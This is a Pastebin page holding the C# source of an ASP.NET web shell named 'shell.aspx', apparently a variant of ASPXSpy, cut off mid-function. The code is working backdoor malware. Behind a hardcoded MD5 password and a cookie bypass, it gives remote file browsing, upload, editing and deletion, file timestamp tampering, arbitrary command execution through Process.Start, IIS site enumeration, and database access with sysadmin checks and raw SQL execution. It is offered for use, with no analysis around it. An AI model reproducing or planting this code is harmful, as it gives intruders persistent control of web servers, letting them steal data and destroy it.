nguyendangnghia

shell.aspx

Dec 2nd, 2017
1,563
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 50.85 KB | None | 0 0
  1. <%@ Page Language="C#" Debug="true" trace="false" validateRequest="false" %>
  2. <%@ import Namespace="System.IO" %>
  3. <%@ import Namespace="System.Diagnostics" %>
  4. <%@ import Namespace="System.Data" %>
  5. <%@ import Namespace="System.Data.OleDb" %>
  6. <%@ import Namespace="Microsoft.Win32" %>
  7. <%@ import Namespace="System.Net.Sockets" %>
  8. <%@ Assembly Name="System.DirectoryServices, Version=2.0.0.0, Culture=neutral, PublicKeyToken=B03F5F7F11D50A3A" %>
  9. <%@ import Namespace="System.DirectoryServices" %>
  10. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  11.  
  12. <script runat="server">
  13. /*
  14. ======
  15.  
  16. Code by NightRunner
  17.  
  18. Make in Vietnam
  19.  
  20. ____H4____
  21.  
  22. */
  23. public string Password="081322851bd264a2702f1169aad42129";
  24. public string SessionName="ASPXSpy";
  25. public string cookiePass="ASPXSpyCookiePass";
  26. public string Bin_Action="";
  27. public string Bin_Request="";
  28. protected OleDbConnection conn=new OleDbConnection();
  29. protected OleDbCommand comm=new OleDbCommand();
  30.  
  31. protected void Page_Load(object sender, EventArgs e)
  32. {
  33. //string strkey;
  34. bool isCookied=false;
  35. HttpCookieCollection cookiecoll=Request.Cookies;
  36. foreach (string strkey in cookiecoll.AllKeys)
  37. {
  38. if (strkey==cookiePass)
  39. {
  40. if (cookiecoll[strkey].Value==Password)
  41. {
  42. isCookied=true;
  43. }
  44. break;
  45. }
  46. }
  47. if((Session[SessionName] !="BIN")&&(!isCookied))
  48. {
  49. Bin_login();
  50. }
  51. else
  52. {
  53. if(!IsPostBack)
  54. {
  55. Bin_main();
  56. }
  57. else
  58. {
  59.  
  60. Bin_Action=Request["goaction"];
  61. if(Bin_Action=="del")
  62. {
  63. Bin_Request=Request["todo"];
  64. Bin_Filedel(Bin_Request, 1);
  65. }
  66. if(Bin_Action=="change")
  67. {
  68. Bin_Request=Request["todo"];
  69. Bin_FileList(Bin_Request);
  70. }
  71. if(Bin_Action=="deldir")
  72. {
  73. Bin_Request=Request["todo"];
  74. Bin_Filedel(Bin_Request, 2);
  75. }
  76. if(Bin_Action=="down")
  77. {
  78. Bin_Request=Request["todo"];
  79. Bin_Filedown(Bin_Request);
  80. }
  81. if(Bin_Action=="rename")
  82. {
  83. Bin_Request=Request["todo"];
  84. Bin_FileRN(Bin_Request, 1);
  85. }
  86. if(Bin_Action=="renamedir")
  87. {
  88. Bin_Request=Request["todo"];
  89. Bin_FileRN(Bin_Request, 2);
  90. }
  91. if(Bin_Action=="showatt")
  92. {
  93. Bin_Request=Request["todo"];
  94. Bin_Fileatt(Bin_Request);
  95. }
  96. if(Bin_Action=="edit")
  97. {
  98. Bin_Request=Request["todo"];
  99. Bin_FileEdit(Bin_Request);
  100. }
  101. if(Bin_Action=="postdata")
  102. {
  103.  
  104. Bin_Request=Request["todo"];
  105. Session["Bin_Table"]=Bin_Request;
  106. Bin_DataGrid.CurrentPageIndex=0;
  107. Bin_DBstrTextBox.Text="";
  108. Bin_Databind();
  109. }
  110. if(Bin_Action=="changedata")
  111. {
  112. Session["Bin_Table"]=null;
  113. Bin_Request=Request["todo"];
  114. Session["Bin_Option"]=Request["intext"];
  115. Bin_Change();
  116. Bin_DBinfoLabel.Visible=false;
  117. Bin_DBstrTextBox.Text=Bin_Request;
  118.  
  119. }
  120. if(Session["Bin_Table"] !=null)
  121. {
  122. Bin_Databind();
  123. }
  124.  
  125. }
  126. }
  127. }
  128. public void Bin_login()
  129. {
  130. Bin_LoginPanel.Visible=true;
  131. Bin_MainPanel.Visible=false;
  132. Bin_MenuPanel.Visible=false;
  133. Bin_FilePanel.Visible=false;
  134. Bin_CmdPanel.Visible=false;
  135. Bin_SQLPanel.Visible=false;
  136. Bin_SuPanel.Visible=false;
  137. Bin_IISPanel.Visible=false;
  138. Bin_PortPanel.Visible=false;
  139. Bin_RegPanel.Visible=false;
  140. }
  141. public void Bin_main()
  142. {
  143. TimeLabel.Text=DateTime.Now.ToString();
  144. Bin_PortPanel.Visible=false;
  145. Bin_RegPanel.Visible=false;
  146. Bin_LoginPanel.Visible=false;
  147. Bin_MainPanel.Visible=true;
  148. Bin_MenuPanel.Visible=true;
  149. Bin_FilePanel.Visible=false;
  150. Bin_CmdPanel.Visible=false;
  151. Bin_SQLPanel.Visible=false;
  152. Bin_SuPanel.Visible=false;
  153. Bin_IISPanel.Visible=false;
  154. string ServerIP="Server IP : "+Request.ServerVariables["LOCAL_ADDR"]+"<br>";
  155. string HostName="HostName : "+Environment.MachineName+"<br>";
  156. string OS="OS Version : "+Environment.OSVersion+"</br>";
  157. string IISversion="IIS Version : "+Request.ServerVariables["SERVER_SOFTWARE"]+"<br>";
  158. string PATH_INFO="PATH_TRANSLATED : "+Request.ServerVariables["PATH_TRANSLATED"]+"<br>";
  159. InfoLabel.Text="<hr><center><b><U>SYS-INFO</U></B></center>";
  160. InfoLabel.Text+=ServerIP+HostName+OS+IISversion+PATH_INFO+"<hr>";
  161. InfoLabel.Text+=Bin_Process()+"<hr>";
  162.  
  163. }
  164. private bool CheckIsNumber(string sSrc)
  165. {
  166. System.Text.RegularExpressions.Regex reg=new System.Text.RegularExpressions.Regex(@"^0|[0-9]*[1-9][0-9]*$");
  167.  
  168. if(reg.IsMatch(sSrc))
  169. {
  170. return true;
  171. }
  172. else
  173. {
  174. return false;
  175. }
  176. }
  177. public string Bin_iisinfo()
  178. {
  179. string iisinfo="";
  180. string iisstart="";
  181. string iisend="";
  182. string iisstr="IIS://localhost/W3SVC";
  183. int i=0;
  184. try
  185. {
  186. DirectoryEntry mydir=new DirectoryEntry(iisstr);
  187. iisstart="<input type=hidden name=goaction><input type=hidden name=todo><TABLE width=100% align=center border=0><TR align=center><TD width=6%><B>Order</B></TD><TD width=20%><B>IIS_USER</B></TD><TD width=25%><B>Domain</B></TD><TD width=30%><B>Path</B></TD></TR>";
  188. foreach(DirectoryEntry child in mydir.Children)
  189. {
  190. if(CheckIsNumber(child.Name.ToString()))
  191. {
  192. string dirstr=child.Name.ToString();
  193. string tmpstr="";
  194. DirectoryEntry newdir=new DirectoryEntry(iisstr+"/"+dirstr);
  195. DirectoryEntry newdir1=newdir.Children.Find("root", "IIsWebVirtualDir");
  196. iisinfo+="<TR><TD align=center>"+(i=i+1)+"</TD>";
  197. iisinfo+="<TD align=center>"+newdir1.Properties["AnonymousUserName"].Value+"</TD>";
  198. iisinfo+="<TD>"+child.Properties["ServerBindings"][0]+"</TD>";
  199. iisinfo+="<TD><a href=javascript:Command('change','"+formatpath(newdir1.Properties["Path"].Value.ToString())+"');>"+newdir1.Properties["Path"].Value+"</a></TD>";
  200. iisinfo+="</TR>";
  201. }
  202. }
  203. iisend="</TABLE><hr>";
  204. }
  205. catch(Exception error)
  206. {
  207. Bin_Error(error.Message);
  208. }
  209. return iisstart+iisinfo+iisend;
  210. }
  211. public string Bin_Process()
  212. {
  213. string htmlstr="<center><b><U>PROCESS-INFO</U></B></center><TABLE width=80% align=center border=0><TR align=center><TD width=20%><B>ID</B></TD><TD align=left width=20%><B>Process</B></TD><TD align=left width=20%><B>MemorySize</B></TD><TD align=center width=10%><B>Threads</B></TD></TR>";
  214. string prostr="";
  215. string htmlend="</TR></TABLE>";
  216. try
  217. {
  218. Process[] myprocess=Process.GetProcesses();
  219. foreach(Process p in myprocess)
  220. {
  221. prostr+="<TR><TD align=center>"+p.Id.ToString()+"</TD>";
  222. prostr+="<TD align=left>"+p.ProcessName.ToString()+"</TD>";
  223. prostr+="<TD align=left>"+p.WorkingSet.ToString()+"</TD>";
  224. prostr+="<TD align=center>"+p.Threads.Count.ToString()+"</TD>";
  225. }
  226. }
  227. catch(Exception Error)
  228. {
  229. Bin_Error(Error.Message);
  230. }
  231. return htmlstr+prostr+htmlend;
  232. }
  233. protected void LoginButton_Click(object sender, EventArgs e)
  234. {
  235. string MD5Pass=FormsAuthentication.HashPasswordForStoringInConfigFile(passtext.Text,"MD5").ToLower();
  236. if(MD5Pass==Password)
  237. {
  238. Session[SessionName]="BIN";
  239. Response.Cookies.Add(new HttpCookie(cookiePass,Password));
  240. Bin_main();
  241. }
  242. else
  243. {
  244. Bin_login();
  245. }
  246. }
  247.  
  248. protected void LogoutButton_Click(object sender, EventArgs e)
  249. {
  250. Session.Abandon();
  251. Response.Cookies.Add(new HttpCookie(cookiePass,null));
  252. Bin_login();
  253. }
  254.  
  255. protected void FileButton_Click(object sender, EventArgs e)
  256. {
  257. Bin_LoginPanel.Visible=false;
  258. Bin_MenuPanel.Visible=true;
  259. Bin_MainPanel.Visible=false;
  260. Bin_FilePanel.Visible=true;
  261. Bin_CmdPanel.Visible=false;
  262. Bin_SQLPanel.Visible=false;
  263. Bin_SuPanel.Visible=false;
  264. Bin_IISPanel.Visible=false;
  265. Bin_PortPanel.Visible=false;
  266. Bin_RegPanel.Visible=false;
  267. Bin_upTextBox.Text=formatpath(Server.MapPath("."));
  268. Bin_CopyTextBox.Text=formatpath(Server.MapPath("."));
  269. Bin_upTextBox.Text=formatpath(Server.MapPath("."));
  270. Bin_FileList(Server.MapPath("."));
  271.  
  272. }
  273.  
  274. protected void MainButton_Click(object sender, EventArgs e)
  275. {
  276. Bin_main();
  277. }
  278. public void Bin_DriveList()
  279. {
  280. string file="<input type=hidden name=goaction><input type=hidden name=todo>";
  281. file+="<hr>Drives : ";
  282. string[] drivers=Directory.GetLogicalDrives();
  283. for(int i=0; i < drivers.Length; i++)
  284. {
  285. file+="<a href=javascript:Command('change','"+formatpath(drivers[i])+"');>"+drivers[i]+"</a>&nbsp;";
  286. }
  287. file+=" WebRoot : <a href=javascript:Command('change','"+formatpath(Server.MapPath("."))+"');>"+Server.MapPath(".")+"</a>";
  288. Bin_FileLabel.Text=file;
  289. }
  290.  
  291. public void Bin_FileList(string Bin_path)
  292. {
  293. Bin_FilePanel.Visible=true;
  294. Bin_CreateTextBox.Text="";
  295. Bin_CopytoTextBox.Text="";
  296. Bin_CopyTextBox.Text=Bin_path;
  297. Bin_upTextBox.Text=Bin_path;
  298. Bin_IISPanel.Visible=false;
  299. Bin_DriveList();
  300. string tmpstr="";
  301. string Bin_Filelist=Bin_FilelistLabel.Text;
  302. Bin_Filelist="<hr>";
  303. Bin_Filelist+="<table width=90% border=0 align=center>";
  304. Bin_Filelist+="<tr><td width=40%><b>Name</b></td><td width=15%><b>Size(Byte)</b></td>";
  305. Bin_Filelist+="<td width=25%><b>ModifyTime</b></td><td width=25%><b>Operate</b></td></tr>";
  306. try
  307. {
  308. Bin_Filelist+="<tr><td>";
  309. string parstr="";
  310. if(Bin_path.Length < 4)
  311. {
  312. parstr=formatpath(Bin_path);
  313.  
  314. }
  315. else
  316. {
  317. parstr= formatpath(Directory.GetParent(Bin_path).ToString());
  318.  
  319. }
  320. Bin_Filelist+="<i><b><a href=javascript:Command('change','"+parstr+"');>|Parent Directory|</a></b></i>";
  321. Bin_Filelist+="</td></tr>";
  322.  
  323. DirectoryInfo Bin_dir=new DirectoryInfo(Bin_path);
  324. foreach(DirectoryInfo Bin_folder in Bin_dir.GetDirectories())
  325. {
  326. string foldername=formatpath(Bin_path)+"/"+formatfile(Bin_folder.Name);
  327. tmpstr+="<tr>";
  328. tmpstr+="<td><a href=javascript:Command('change','"+foldername+"')>"+Bin_folder.Name+"</a></td><td><b><i>&lt;dir&gt;</i></b></td><td>"+Directory.GetLastWriteTime(Bin_path+"/"+Bin_folder.Name)+"</td><td><a href=javascript:Command('renamedir','"+foldername+"');>Ren</a>|<a href=javascript:Command('showatt','"+foldername+"/');>Att</a>|<a href=javascript:Command('deldir','"+foldername+"');>Del</a></td>";
  329. tmpstr+="</tr>";
  330. }
  331. foreach(FileInfo Bin_file in Bin_dir.GetFiles())
  332. {
  333. string filename=formatpath(Bin_path)+"/"+formatfile(Bin_file.Name);
  334. tmpstr+="<tr>";
  335. tmpstr+="<td>"+Bin_file.Name+"</td><td>"+Bin_file.Length+"</td><td>"+Directory.GetLastWriteTime(Bin_path+"/"+Bin_file.Name)+"</td><td><a href=javascript:Command('edit','"+filename+"');>Edit</a>|<a href=javascript:Command('rename','"+filename+"');>Ren</a>|<a href=javascript:Command('down','"+filename+"');>Down</a>|<a href=javascript:Command('showatt','"+filename+"');>Att</a>|<a href=javascript:Command('del','"+filename+"');>Del</a></td>";
  336. tmpstr+="</tr>";
  337. }
  338. tmpstr+="</talbe>";
  339. }
  340. catch(Exception Error)
  341. {
  342. Bin_Error(Error.Message);
  343.  
  344. }
  345.  
  346. Bin_FilelistLabel.Text=Bin_Filelist+tmpstr;
  347. }
  348. public void Bin_Filedel(string instr,int type)
  349. {
  350. try
  351. {
  352. if(type==1)
  353. {
  354. File.Delete(instr);
  355. }
  356. if(type==2)
  357. {
  358. foreach(string tmp in Directory.GetFileSystemEntries(instr))
  359. {
  360. if(File.Exists(tmp))
  361. {
  362. File.Delete(tmp);
  363. }
  364. else
  365. {
  366. Bin_Filedel(tmp, 2);
  367. }
  368. }
  369. Directory.Delete(instr);
  370. }
  371. }
  372. catch(Exception Error)
  373. {
  374. Bin_Error(Error.Message);
  375. }
  376. Bin_FileList(Bin_upTextBox.Text);
  377. }
  378. public void Bin_FileRN(string instr,int type)
  379. {
  380. try
  381. {
  382. if(type==1)
  383. {
  384. string[] array=instr.Split(',');
  385.  
  386. File.Move(array[0], array[1]);
  387. }
  388. if(type==2)
  389. {
  390. string[] array=instr.Split(',');
  391. Directory.Move(array[0], array[1]);
  392. }
  393. }
  394. catch(Exception Error)
  395. {
  396. Bin_Error(Error.Message);
  397. }
  398. Bin_FileList(Bin_upTextBox.Text);
  399. }
  400. public void Bin_Filedown(string instr)
  401. {
  402. try
  403. {
  404. FileStream MyFileStream=new FileStream(instr, FileMode.Open, FileAccess.Read, FileShare.Read);
  405. long FileSize=MyFileStream.Length;
  406. byte[] Buffer=new byte[(int)FileSize];
  407. MyFileStream.Read(Buffer, 0,(int)FileSize);
  408. MyFileStream.Close();
  409. Response.AddHeader("Content-Disposition", "attachment;filename="+instr);
  410. Response.Charset="UTF-8";
  411. Response.ContentType="application/octet-stream";
  412. Response.BinaryWrite(Buffer);
  413. Response.Flush();
  414. Response.End();
  415. }
  416. catch(Exception Error)
  417. {
  418. Bin_Error(Error.Message);
  419. }
  420.  
  421. }
  422. public void Bin_Fileatt(string instr)
  423. {
  424. Bin_AttPanel.Visible=true;
  425. Bin_FilePanel.Visible=true;
  426. try
  427. {
  428. string Att=File.GetAttributes(instr).ToString();
  429. Bin_ReadOnlyCheckBox.Checked=false;
  430. Bin_SystemCheckBox.Checked=false;
  431. Bin_HiddenCheckBox.Checked=false;
  432. Bin_ArchiveCheckBox.Checked=false;
  433.  
  434. if(Att.LastIndexOf("ReadOnly")!=-1)
  435. {
  436. Bin_ReadOnlyCheckBox.Checked=true;
  437. }
  438. if(Att.LastIndexOf("System")!=-1)
  439. {
  440. Bin_SystemCheckBox.Checked=true;
  441. }
  442. if(Att.LastIndexOf("Hidden")!=-1)
  443. {
  444. Bin_HiddenCheckBox.Checked=true;
  445. }
  446. if(Att.LastIndexOf("Archive")!=-1)
  447. {
  448. Bin_ArchiveCheckBox.Checked=true;
  449. }
  450. Bin_CreationTimeTextBox.Text=File.GetCreationTime(instr).ToString();
  451. Bin_LastWriteTimeTextBox.Text=File.GetLastWriteTime(instr).ToString();
  452. Bin_AccessTimeTextBox.Text=File.GetLastAccessTime(instr).ToString();
  453. }
  454. catch(Exception Error)
  455. {
  456. Bin_Error(Error.Message);
  457. }
  458. Bin_AttLabel.Text=instr;
  459. Session["FileName"]=instr;
  460. Bin_DriveList();
  461. }
  462. public void Bin_FileEdit(string instr)
  463. {
  464. Bin_FilePanel.Visible=true;
  465. Bin_EditPanel.Visible=true;
  466. Bin_DriveList();
  467. Bin_EditpathTextBox.Text=instr;
  468. StreamReader SR=new StreamReader(instr, Encoding.Default);
  469. Bin_EditTextBox.Text=SR.ReadToEnd();
  470. SR.Close();
  471. }
  472. protected void Bin_upButton_Click(object sender, EventArgs e)
  473. {
  474.  
  475. string uppath=Bin_upTextBox.Text;
  476. if(uppath.Substring(uppath.Length - 1, 1)!=@"/")
  477. {
  478. uppath=uppath+@"/";
  479. }
  480. try
  481. {
  482. Bin_UpFile.PostedFile.SaveAs(uppath+Path.GetFileName(Bin_UpFile.Value));
  483.  
  484. }
  485. catch(Exception error)
  486. {
  487. Bin_Error(error.Message);
  488. }
  489. Bin_FileList(uppath);
  490. }
  491. public void Bin_Error(string error)
  492. {
  493. Bin_ErrorLabel.Text="Error : "+error;
  494. }
  495. public string formatpath(string instr)
  496. {
  497. instr=instr.Replace(@"\", "/");
  498. if(instr.Length < 4)
  499. {
  500. instr=instr.Replace(@"/", "");
  501. }
  502. if(instr.Length==2)
  503. {
  504. instr=instr+@"/";
  505. }
  506. instr=instr.Replace(" ", "%20");
  507. return instr;
  508. }
  509. public string formatfile(string instr)
  510. {
  511. instr=instr.Replace(" ", "%20");
  512. return instr;
  513.  
  514. }
  515. protected void Bin_GoButton_Click(object sender, EventArgs e)
  516. {
  517. Bin_FileList(Bin_upTextBox.Text);
  518. }
  519.  
  520. protected void Bin_NewFileButton_Click(object sender, EventArgs e)
  521. {
  522. string newfile=Bin_CreateTextBox.Text;
  523. string filepath=Bin_upTextBox.Text;
  524. filepath=filepath+"/"+newfile;
  525. try
  526. {
  527. StreamWriter sw=new StreamWriter(filepath, true, Encoding.Default);
  528.  
  529. }
  530. catch(Exception Error)
  531. {
  532. Bin_Error(Error.Message);
  533. }
  534. Bin_FileList(Bin_upTextBox.Text);
  535. }
  536.  
  537. protected void Bin_NewdirButton_Click(object sender, EventArgs e)
  538. {
  539. string dirpath=Bin_upTextBox.Text;
  540. string newdir=Bin_CreateTextBox.Text;
  541. newdir=dirpath+"/"+newdir;
  542. try
  543. {
  544. Directory.CreateDirectory(newdir);
  545.  
  546. }
  547. catch(Exception Error)
  548. {
  549. Bin_Error(Error.Message);
  550. }
  551. Bin_FileList(Bin_upTextBox.Text);
  552. }
  553.  
  554. protected void Bin_CopyButton_Click(object sender, EventArgs e)
  555. {
  556. string copystr=Bin_CopyTextBox.Text;
  557. string copyto=Bin_CopytoTextBox.Text;
  558. try
  559. {
  560. File.Copy(copystr, copyto);
  561. }
  562. catch(Exception Error)
  563. {
  564. Bin_Error(Error.Message);
  565. }
  566. Bin_CopytoTextBox.Text="";
  567. Bin_FileList(Bin_upTextBox.Text);
  568. }
  569.  
  570. protected void Bin_CutButton_Click(object sender, EventArgs e)
  571. {
  572. string copystr=Bin_CopyTextBox.Text;
  573. string copyto=Bin_CopytoTextBox.Text;
  574. try
  575. {
  576. File.Move(copystr, copyto);
  577. }
  578. catch(Exception Error)
  579. {
  580. Bin_Error(Error.Message);
  581. }
  582. Bin_CopytoTextBox.Text="";
  583. Bin_FileList(Bin_upTextBox.Text);
  584. }
  585.  
  586. protected void Bin_SetButton_Click(object sender, EventArgs e)
  587. {
  588. try
  589. {
  590. string FileName=Session["FileName"].ToString();
  591. File.SetAttributes(FileName, FileAttributes.Normal);
  592. if(Bin_ReadOnlyCheckBox.Checked)
  593. {
  594. File.SetAttributes(FileName, FileAttributes.ReadOnly);
  595. }
  596.  
  597. if(Bin_SystemCheckBox.Checked)
  598. {
  599. File.SetAttributes(FileName, File.GetAttributes(FileName)| FileAttributes.System);
  600. }
  601. if(Bin_HiddenCheckBox.Checked)
  602. {
  603. File.SetAttributes(FileName, File.GetAttributes(FileName)| FileAttributes.Hidden);
  604. }
  605. if(Bin_ArchiveCheckBox.Checked)
  606. {
  607. File.SetAttributes(FileName, File.GetAttributes(FileName)| FileAttributes.Archive);
  608. }
  609. if(FileName.Substring(FileName.Length - 1, 1)=="/")
  610. {
  611. Directory.SetCreationTime(FileName, Convert.ToDateTime(Bin_CreationTimeTextBox.Text));
  612. Directory.SetLastWriteTime(FileName, Convert.ToDateTime(Bin_LastWriteTimeTextBox.Text));
  613. Directory.SetLastAccessTime(FileName, Convert.ToDateTime(Bin_AccessTimeTextBox.Text));
  614. }
  615. else
  616. {
  617. File.SetCreationTime(FileName, Convert.ToDateTime(Bin_CreationTimeTextBox.Text));
  618. File.SetLastWriteTime(FileName, Convert.ToDateTime(Bin_LastWriteTimeTextBox.Text));
  619. File.SetLastAccessTime(FileName, Convert.ToDateTime(Bin_AccessTimeTextBox.Text));
  620. }
  621. }
  622. catch(Exception Error)
  623. {
  624. Bin_Error(Error.Message);
  625. }
  626. Bin_FileList(Bin_upTextBox.Text);
  627. Response.Write("<script>alert('Success!')</sc"+"ript>");
  628. }
  629.  
  630. protected void Bin_EditButton_Click(object sender, EventArgs e)
  631. {
  632. try
  633. {
  634. StreamWriter SW=new StreamWriter(Bin_EditpathTextBox.Text, false, Encoding.Default);
  635. SW.Write(Bin_EditTextBox.Text);
  636. SW.Close();
  637. }
  638. catch(Exception Error)
  639. {
  640. Bin_Error(Error.Message);
  641. }
  642. Bin_FileList(Bin_upTextBox.Text);
  643. Response.Write("<script>alert('Success!')</sc"+"ript>");
  644.  
  645. }
  646.  
  647. protected void Bin_BackButton_Click(object sender, EventArgs e)
  648. {
  649. Bin_FileList(Bin_upTextBox.Text);
  650. }
  651.  
  652. protected void Bin_SbackButton_Click(object sender, EventArgs e)
  653. {
  654. Bin_FileList(Bin_upTextBox.Text);
  655. }
  656.  
  657. protected void Bin_CmdButton_Click(object sender, EventArgs e)
  658. {
  659. Bin_MenuPanel.Visible=true;
  660. Bin_LoginPanel.Visible=false;
  661. Bin_CmdPanel.Visible=true;
  662. Bin_SQLPanel.Visible=false;
  663. Bin_CmdLabel.Text="";
  664. Bin_SuPanel.Visible=false;
  665. Bin_IISPanel.Visible=false;
  666. Bin_RegPanel.Visible=false;
  667. Bin_PortPanel.Visible=false;
  668. }
  669.  
  670. protected void Bin_RunButton_Click(object sender, EventArgs e)
  671. {
  672. try
  673. {
  674. Process Cmdpro=new Process();
  675. Cmdpro.StartInfo.FileName=Bin_CmdPathTextBox.Text;
  676. Cmdpro.StartInfo.Arguments=Bin_CmdShellTextBox.Text;
  677. Cmdpro.StartInfo.UseShellExecute=false;
  678. Cmdpro.StartInfo.RedirectStandardInput=true;
  679. Cmdpro.StartInfo.RedirectStandardOutput=true;
  680. Cmdpro.StartInfo.RedirectStandardError=true;
  681. Cmdpro.Start();
  682. string cmdstr=Cmdpro.StandardOutput.ReadToEnd();
  683. cmdstr=cmdstr.Replace("<", "&lt;");
  684. cmdstr=cmdstr.Replace(">", "&gt;");
  685. Bin_CmdLabel.Text="<hr><div id=\"cmd\"><pre>"+cmdstr+"</pre></div>";
  686. }
  687. catch(Exception Error)
  688. {
  689. Bin_Error(Error.Message);
  690. }
  691. }
  692.  
  693. protected void Bin_SQLButton_Click(object sender, EventArgs e)
  694. {
  695. Bin_CmdPanel.Visible=false;
  696. Bin_SQLPanel.Visible=true;
  697. Bin_LoginPanel.Visible=false;
  698. Bin_MenuPanel.Visible=true;
  699. Bin_AccPanel.Visible=false;
  700. Bin_Scroll.Visible=false;
  701. Bin_DBmenuPanel.Visible=false;
  702. Bin_dirPanel.Visible=false;
  703. Bin_SuPanel.Visible=false;
  704. Bin_IISPanel.Visible=false;
  705. Bin_PortPanel.Visible=false;
  706. Bin_RegPanel.Visible=false;
  707. }
  708.  
  709. protected void Bin_SQLRadioButton_CheckedChanged(object sender, EventArgs e)
  710. {
  711. Session["Bin_Table"]=null;
  712. Bin_SQLconnTextBox.Text="server=localhost;UID=sa;PWD=;database=master;Provider=SQLOLEDB";
  713. Bin_SQLRadioButton.Checked=true;
  714. Bin_AccRadioButton.Checked=false;
  715. Bin_AccPanel.Visible=false;
  716. Bin_DataGrid.Visible=false;
  717. Bin_Scroll.Visible=false;
  718. Bin_DBmenuPanel.Visible=false;
  719. Bin_dirPanel.Visible=false;
  720. }
  721.  
  722. protected void Bin_AccRadioButton_CheckedChanged(object sender, EventArgs e)
  723. {
  724. Session["Bin_Table"]=null;
  725. Bin_SQLconnTextBox.Text=@"Provider=Microsoft.Jet.OLEDB.4.0;Data Source=E:\wwwroot\database.mdb";
  726. Bin_SQLRadioButton.Checked=false;
  727. Bin_AccRadioButton.Checked=true;
  728. Bin_DBmenuPanel.Visible=false;
  729. Bin_AccPanel.Visible=false;
  730. Bin_DataGrid.Visible=false;
  731. Bin_Scroll.Visible=false;
  732. Bin_dirPanel.Visible=false;
  733.  
  734. }
  735. protected void OpenConnection()
  736. {
  737. if(conn.State==ConnectionState.Closed)
  738. {
  739. try
  740. {
  741. conn.ConnectionString=Bin_SQLconnTextBox.Text;
  742. comm.Connection=conn;
  743. conn.Open();
  744. }
  745. catch(Exception Error)
  746. {
  747. Bin_Error(Error.Message);
  748. }
  749. }
  750. }
  751. protected void CloseConnection()
  752. {
  753. if(conn.State==ConnectionState.Open)
  754. conn.Close();
  755. conn.Dispose();
  756. comm.Dispose();
  757. }
  758. public DataTable Bin_DataTable(string sqlstr)
  759. {
  760. OleDbDataAdapter da=new OleDbDataAdapter();
  761. DataTable datatable=new DataTable();
  762. try
  763. {
  764. OpenConnection();
  765. comm.CommandType=CommandType.Text;
  766. comm.CommandText=sqlstr;
  767. da.SelectCommand=comm;
  768. da.Fill(datatable);
  769. }
  770. catch(Exception)
  771. {
  772. }
  773. finally
  774. {
  775. CloseConnection();
  776. }
  777. return datatable;
  778. }
  779. protected void SQL_SumbitButton_Click(object sender, EventArgs e)
  780. {
  781. try
  782. {
  783. Session["Bin_Table"]=null;
  784. Bin_DataGrid.CurrentPageIndex=0;
  785. Bin_DataGrid.AllowPaging=true;
  786. if(Bin_SQLRadioButton.Checked)
  787. {
  788. Bin_DBmenuPanel.Visible=true;
  789. Bin_DBinfoLabel.Visible=true;
  790. Bin_AccPanel.Visible=false;
  791. Bin_Scroll.Visible=false;
  792. Bin_dirPanel.Visible=false;
  793. OpenConnection();
  794. DataTable ver=Bin_DataTable(@"SELECT @@VERSION");
  795. DataTable dbs=Bin_DataTable(@"SELECT name FROM master.dbo.sysdatabases");
  796. DataTable cdb=Bin_DataTable(@"SELECT DB_NAME()");
  797. DataTable rol=Bin_DataTable(@"SELECT IS_SRVROLEMEMBER('sysadmin')");
  798. DataTable owner=Bin_DataTable(@"SELECT IS_MEMBER('db_owner')");
  799. string dbo="";
  800. if(owner.Rows[0][0].ToString()=="1")
  801. {
  802. dbo="db_owner";
  803. }
  804. else
  805. {
  806. dbo="public";
  807. }
  808. if(rol.Rows[0][0].ToString()=="1")
  809. {
  810. dbo="<font color=blue>sa</font>";
  811. }
  812. string db_info="";
  813. db_info="<i><b><font color=red>SQLversion</font> : </b></i>"+ver.Rows[0][0].ToString()+"<br><hr>";
  814. string db_name="";
  815. for(int i=0; i < dbs.Rows.Count; i++)
  816. {
  817. db_name+=dbs.Rows[i][0].ToString().Replace(cdb.Rows[0][0].ToString(), "<font color=blue>"+cdb.Rows[0][0].ToString()+"</font>")+"&nbsp;|&nbsp;";
  818. }
  819. db_info+="<i><b><font color=red>DataBase</font> : </b></i><div style=\"width:760px;word-break:break-all\">"+db_name+"<br><div><hr>";
  820. db_info+="<i><b><font color=red>SRVROLEMEMBER</font></i></b> : "+dbo+"<hr>";
  821. Bin_DBinfoLabel.Text=db_info;
  822. }
  823. if(Bin_AccRadioButton.Checked)
  824. {
  825. Bin_DataGrid.Visible=false;
  826. Bin_SAexecButton.Visible=false;
  827. Bin_Accbind();
  828. }
  829. }
  830. catch(Exception E)
  831. {
  832. Bin_Error(E.Message);
  833. }
  834. }
  835. protected void Bin_Accbind()
  836. {
  837. try
  838. {
  839. Bin_DBmenuPanel.Visible=false;
  840. Bin_AccPanel.Visible=true;
  841. OpenConnection();
  842. DataTable acctable=new DataTable();
  843. acctable=conn.GetOleDbSchemaTable(OleDbSchemaGuid.Tables, new Object[] { null, null, null, "Table" });
  844. string accstr="<input type=hidden name=goaction><input type=hidden name=todo>";
  845. accstr+="Tables Count : "+acctable.Rows.Count+"<br>Please select a database : <SELECT onchange=if(this.value!='')Command('postdata',this);>";
  846. for(int i=0; i < acctable.Rows.Count; i++)
  847. {
  848. accstr+="<option value="+acctable.Rows[i].ItemArray[2].ToString()+">"+acctable.Rows[i].ItemArray[2].ToString()+"</option>";
  849. }
  850. if(Session["Bin_Table"] !=null)
  851. {
  852. accstr+="<option SELECTED>"+Session["Bin_Table"]+"</option>";
  853. }
  854. accstr+="</SELECT>";
  855. Bin_AccinfoLabel.Text=accstr;
  856. CloseConnection();
  857. }
  858. catch(Exception Error)
  859. {
  860. Bin_Error(Error.Message);
  861. }
  862. }
  863. protected void Bin_Databind()
  864. {
  865. try
  866. {
  867. Bin_SAexecButton.Visible=false;
  868. Bin_Accbind();
  869. Bin_Scroll.Visible=true;
  870. if(Bin_SQLRadioButton.Checked)
  871. {
  872. Bin_DBmenuPanel.Visible=true;
  873. Bin_DBinfoLabel.Visible=false;
  874. }
  875. Bin_DataGrid.Visible=true;
  876. DataTable databind=Bin_DataTable(@"SELECT * FROM "+Session["Bin_Table"]);
  877. Bin_DataGrid.DataSource=databind;
  878. Bin_DataGrid.DataBind();
  879. }
  880. catch(Exception Error)
  881. {
  882.  
  883. Bin_Error(Error.Message);
  884. }
  885. }
  886.  
  887. public void Bin_ExecSql(string instr)
  888. {
  889. try
  890. {
  891. OpenConnection();
  892. comm.CommandType=CommandType.Text;
  893. comm.CommandText=instr;
  894. comm.ExecuteNonQuery();
  895. }
  896. catch(Exception e)
  897. {
